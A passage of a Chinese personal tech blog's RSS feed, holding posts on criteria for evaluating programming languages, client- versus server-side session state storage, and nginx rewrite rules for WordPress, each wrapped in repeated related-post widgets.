                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">表单及URL攻击的几种方法</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F08%2F18%2Fprogramming-pearls%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">代码调优法则--编程珠玑笔记</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F01%2F28%2Flinode-vps-bench%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Linode VPS 主机评分</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">正则表达式入门之顺序环视（lookahead）</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.douban.com/subject/3119946/"><img style="float:left;padding:0 20px 20px 0;border:0" src="http://t.douban.com/mpic/s3395369.jpg" alt="" /></a>1、可读性。判断一个语言的优劣的一个最重要的标准是用它写的程序要好读，好懂。<br />
一种语言的整体简单性极大的影响着他的可读性。一种具有大量基本结构的语言较只有少量基本结构的语言要难学得多，当然，过少也会非常难学，汇编就是如此。<br />
2、正交性。正交性是指使用该语言中一组相对少量的基本结构，经过相对少的组合步骤，可以构成该语言的控制结构与数据接哦股。而且，它的基本结构的任何组合都是合法和有意义的。<br />
3、控制语句。在20世纪50年代和60年代，一批程序设计语言由于缺乏控制语句，导致很差的可读性。随后的语言都兴起了结构化程序设计的革命。尤其是人们普遍意识到滥用goto会降低程序设计的可读性。<br />
4、数据类型和数据结构。在程序设计语言中给出定义数据类型和数据结构的合理机制，是语言可读性的又一个重要辅助。<br />
5、可写性。可写性是程序设计语言的在应用领域产生程序的难以程度的一种度量。大多数影响可读性的语言特征可以影响可写性。<br />
6、支持抽象。抽象指的是以合法的省略许多细节的方式，来定义并且使用复杂结构或复杂运算的能力。<br />
7、表达性。语言的表达性可以指语言中几种不同特征。一种是具有一些功能很强的运算符。一种是程序语言具有相对方便，非繁琐的方式来说明运算。<br />
8、可靠性。如果一个程序在任何条件下的运行都能 达到他的说明标准。我们称这饿程序是可靠的。<br />
9.代价。第一是训练程序员使用这种语言的代价。第二是使用这种语言来编写程序的代价。第三是编译程序的代价。第四是程序运行的代价。<br />
<span style="color: #000000;"><br />
</span></p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F09%2F02%2Ftop-10-concepts-that-every-software-engineer-should-know%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Top 10 Concepts That Every Software Engineer Should Know</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F07%2F15%2Fform-and-url-attack-methods%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">表单及URL攻击的几种方法</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F08%2F18%2Fprogramming-pearls%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">代码调优法则--编程珠玑笔记</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F01%2F28%2Flinode-vps-bench%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Linode VPS 主机评分</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F11%2F09%2Fregular_expressions_lookahead%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">正则表达式入门之顺序环视（lookahead）</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2010/01/18/programming-language-baseline/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>会话状态模式</title>
		<link>http://fendou.org/2009/11/16/%e4%bc%9a%e8%af%9d%e7%8a%b6%e6%80%81%e6%a8%a1%e5%bc%8f/</link>
		<comments>http://fendou.org/2009/11/16/%e4%bc%9a%e8%af%9d%e7%8a%b6%e6%80%81%e6%a8%a1%e5%bc%8f/#comments</comments>
		<pubDate>Mon, 16 Nov 2009 13:21:18 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Study & Reading]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[应用架构]]></category>
		<category><![CDATA[编程技术]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=617</guid>
		<description><![CDATA[个人觉得会话状态模式其实算不得一种模式，因为无非就两种，而且必须是其中的一种，一种存放在客户端，一种存放在服务端。两者都有风险和优点。 通常将会话保存在客户端是为了获得服务端的高度无状态特性，即服务端可以做到完全的无状态。Java中通常使用传输对象来进行数据传输，因为传输对象可以在网上进行序列化，即使是很复杂的数据也可以进行传输。当然序列化是有风险和代价的，不是所有的序列化数据都能够被反序列化回来，虽然出现反序列化回来的出错的概率很小。 如果使用HTML的话，选择相对多一点，URL参数，隐藏表单域和Cookie，URL对于较小数据量还是比较容易使用的，现代浏览放开了对URL长度的限制，但我们不得不考虑一些古董用户的需求，毕竟IE6及以下版本的浏览器还主导着WEB世界，而且URL过长，也不符合REST原则，更不美观。 隐藏表单域适合于POST方式的请求，POST方式可以避免因浏览器限制URL长度而导致的被截断的问题。隐藏表单域在我曾经的代码中经常使用，主要是为了跟踪和referer的referer，也就是跳转到一个页面之前的原来页面。 Cookie方式是最优争议的一种方式，PHPWind采用了这一种方法，从开发者口中得知，是为了减少服务器的负载，因为服务器不用维护session状态。通过把数据序列化或者加密后以文本方式放到Cookie中，我没有测试过，PHPWind这样做是不是真的能降低服务器的负载，根据我以前的测试，session维护成本对于服务器的影响是微乎其微的，还不如优化一条SQL来得更痛快，更有效，而且放在Cookie中会导致用户请求的流量变大，在很多上下带宽不对称的机房中，这是个严重的问题，比如blogbus之前存放在上海的**机房就是这样。而且为了获得Cookie中的数据还需要进行一些列运算，未必比维护session的成本小，而且会导致严重的安全问题。只要算法是可逆的，就一定能被人破解，何况我等庸人搞的算法。 服务器会话状态最简单的一种就是把会话数据放到应用服务器的内存中，可以将会话数据以会话标识号作为键标识放到内存映射表中，现在很多工具可以做到，比如memcache等key-value 的内存存储工具。 另一种是持久化，持久化也可以分为两种，一种以二进制序列化形式存放，但这样做的缺点是不容易阅读，更新起来成本有点高，如果每个会话都一个文件的话，在高并发的时候还得解决文件系统的巨量小文件查找效率问题。还有一种就是持久化到数据库，这个存放会话的模式，可能会因为维护会话状态而带来巨大的数据库开销问题，而且为了及时清除过期的会话，往往配合触发器来进行。 总结起来每种会话管理都有天生的缺陷，如果能多种结合能够提升一些效率，比如内存缓存配合持久化数据库，就是眼下很多高负载网站正在使用的模式，也许还有其他的更多的模式和方法有待探寻~~<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F09%2Fpatterns-of-enterprise-application-architecture-notes-one%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">《企业应用架构模式》笔记一</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F31%2Fdata-source-gateway-one%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">数据源架构模式笔记(一)</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F13%2Fdesireable-characteristics-design%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">软件构建中的理想设计特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F09%2F17%2Ftaobao-project%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">淘宝在数据处理领域的项目及开源产品介绍</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">类设计</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>个人觉得会话状态模式其实算不得一种模式，因为无非就两种，而且必须是其中的一种，一种存放在客户端，一种存放在服务端。两者都有风险和优点。</p>
<p>通常将会话保存在客户端是为了获得服务端的高度无状态特性，即服务端可以做到完全的无状态。Java中通常使用传输对象来进行数据传输，因为传输对象可以在网上进行序列化，即使是很复杂的数据也可以进行传输。当然序列化是有风险和代价的，不是所有的序列化数据都能够被反序列化回来，虽然出现反序列化回来的出错的概率很小。</p>
<p>如果使用HTML的话，选择相对多一点，URL参数，隐藏表单域和Cookie，URL对于较小数据量还是比较容易使用的，现代浏览放开了对URL长度的限制，但我们不得不考虑一些古董用户的需求，毕竟IE6及以下版本的浏览器还主导着WEB世界，而且URL过长，也不符合REST原则，更不美观。</p>
<p>隐藏表单域适合于POST方式的请求，POST方式可以避免因浏览器限制URL长度而导致的被截断的问题。隐藏表单域在我曾经的代码中经常使用，主要是为了跟踪和referer的referer，也就是跳转到一个页面之前的原来页面。</p>
<p>Cookie方式是最优争议的一种方式，<a href="http://www.phpwind.com">PHPWind</a>采用了这一种方法，从开发者口中得知，是为了减少服务器的负载，因为服务器不用维护session状态。通过把数据序列化或者加密后以文本方式放到Cookie中，我没有测试过，PHPWind这样做是不是真的能降低服务器的负载，根据我以前的测试，session维护成本对于服务器的影响是微乎其微的，还不如优化一条SQL来得更痛快，更有效，而且放在Cookie中会导致用户请求的流量变大，在很多上下带宽不对称的机房中，这是个严重的问题，比如blogbus之前存放在上海的**机房就是这样。而且为了获得Cookie中的数据还需要进行一些列运算，未必比维护session的成本小，而且会导致严重的安全问题。只要算法是可逆的，就一定能被人破解，何况我等庸人搞的算法。</p>
<p>服务器会话状态最简单的一种就是把会话数据放到应用服务器的内存中，可以将会话数据以会话标识号作为键标识放到内存映射表中，现在很多工具可以做到，比如memcache等key-value 的内存存储工具。</p>
<p>另一种是持久化，持久化也可以分为两种，一种以二进制序列化形式存放，但这样做的缺点是不容易阅读，更新起来成本有点高，如果每个会话都一个文件的话，在高并发的时候还得解决文件系统的巨量小文件查找效率问题。还有一种就是持久化到数据库，这个存放会话的模式，可能会因为维护会话状态而带来巨大的数据库开销问题，而且为了及时清除过期的会话，往往配合触发器来进行。</p>
<p>总结起来每种会话管理都有天生的缺陷，如果能多种结合能够提升一些效率，比如内存缓存配合持久化数据库，就是眼下很多高负载网站正在使用的模式，也许还有其他的更多的模式和方法有待探寻~~</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F09%2Fpatterns-of-enterprise-application-architecture-notes-one%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">《企业应用架构模式》笔记一</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2009%2F10%2F31%2Fdata-source-gateway-one%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">数据源架构模式笔记(一)</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F13%2Fdesireable-characteristics-design%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">软件构建中的理想设计特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F09%2F17%2Ftaobao-project%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">淘宝在数据处理领域的项目及开源产品介绍</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F04%2F18%2Fclass-design%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F11%2F16%2F%25E4%25BC%259A%25E8%25AF%259D%25E7%258A%25B6%25E6%2580%2581%25E6%25A8%25A1%25E5%25BC%258F%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">类设计</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2009/11/16/%e4%bc%9a%e8%af%9d%e7%8a%b6%e6%80%81%e6%a8%a1%e5%bc%8f/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wordpress的nginx rewrite规则</title>
		<link>http://fendou.org/2009/10/29/wordpress-nginx-rewrite/</link>
		<comments>http://fendou.org/2009/10/29/wordpress-nginx-rewrite/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 02:24:29 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Operating System]]></category>
		<category><![CDATA[Nginx]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=605</guid>
		<description><![CDATA[由于godaddy不稳定和龟速，终于把博客搬到自己的VPS上，并且换了一套皮 ，最近日子过得比较快，可能因为事情比较多的缘故，最近两个月写的代码，超过我过去半年的写的代码的总和 废话少说，直接上wordpress Nginx的rewrite规则，我的博客版本是2.8.5，一切正常，其他的不敢保证 if (-d $request_filename){ rewrite ^/(.*)([^/])$ $1$2/ permanent; } if (-f $request_filename/index.html){ rewrite (.*) $1/index.html break; } if (-f $request_filename/index.php){ rewrite (.*) $1/index.php; } if (!-f $request_filename){ rewrite (.*) /index.php; } 第一条在很多Nginx主机上是默认就可以进行301 move的，意思是：如果请求的是目录，那么将请求rewrite到这个目录里面，不加这一条可能会导致二级或者三级目录无法访问，比如请求地址是http://www.abc.com/abc, abc是一个目录，abc中有一个index.html页面，还有一个名为style的目录，index.html 引用style中的css,js等文件，并且引用方式为相对地址，类似这样的结构：&#60;script type=“text/javascript” src=”style/lib/jquery.js“&#62;&#60;/script&#62;，那么除index.html能被请求到之外，index.html中引用的所有文件的请求，都将是404 后面三条网上到处都是，如果你不是跟我一样，在Web根目录下放一些jquery，mysql之类的手册，后面三条就足够使用。包括你使用伪静态化<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">DedeCMS 5.6版本的Nginx环境伪静态化</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F09%2F23%2Fsupervisor-nginx-tornado%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">使用supervisor和nginx发布tornado程序</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F01%2F18%2Fprogramming-language-baseline%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">程序语言评估标准</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F11%2F01%2Foop%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">面向对象设计的启发规则</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F02%2Fwordpress-%25E8%25AF%258D%25E6%25B1%2587%25E8%25A1%25A8%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">WordPress 词汇表</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>由于godaddy不稳定和龟速，终于把博客搬到自己的VPS上，并且换了一套皮 <img src='http://fendou.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ，最近日子过得比较快，可能因为事情比较多的缘故，最近两个月写的代码，超过我过去半年的写的代码的总和 <img src='http://fendou.org/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /><br />
废话少说，直接上wordpress Nginx的rewrite规则，我的博客版本是2.8.5，一切正常，其他的不敢保证</p>
<blockquote><p>if (-d $request_filename){<br />
rewrite ^/(.*)([^/])$ $1$2/ permanent;<br />
}<br />
if (-f $request_filename/index.html){<br />
rewrite (.*) $1/index.html break;<br />
}<br />
if (-f $request_filename/index.php){<br />
rewrite (.*) $1/index.php;<br />
}<br />
if (!-f $request_filename){<br />
rewrite (.*) /index.php;<br />
}</p></blockquote>
<p>第一条在很多Nginx主机上是默认就可以进行301 move的，意思是：如果请求的是目录，那么将请求rewrite到这个目录里面，不加这一条可能会导致二级或者三级目录无法访问，比如请求地址是http://www.abc.com/abc, abc是一个目录，abc中有一个index.html页面，还有一个名为style的目录，index.html 引用style中的css,js等文件，并且引用方式为相对地址，类似这样的结构：&lt;<span>script</span><span> type</span>=<span>“text/javascript” </span><span>src</span><span>=”</span><a href="view-source:http://fendou.org/jquery/style/lib/jquery.js">style/lib/jquery.js</a><span>“</span>&gt;&lt;/<span>script</span>&gt;，那么除index.html能被请求到之外，index.html中引用的所有文件的请求，都将是404</p>
<p>后面三条网上到处都是，如果你不是跟我一样，在Web根目录下放一些jquery，mysql之类的手册，后面三条就足够使用。包括你使用伪静态化</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2010%2F10%2F23%2Fdedecms-nginx-rewrite%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">DedeCMS 5.6版本的Nginx环境伪静态化</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2011%2F09%2F23%2Fsupervisor-nginx-tornado%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F10%2F29%2Fwordpress-nginx-rewrite%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">使用supervisor和nginx发布tornado程序</font>
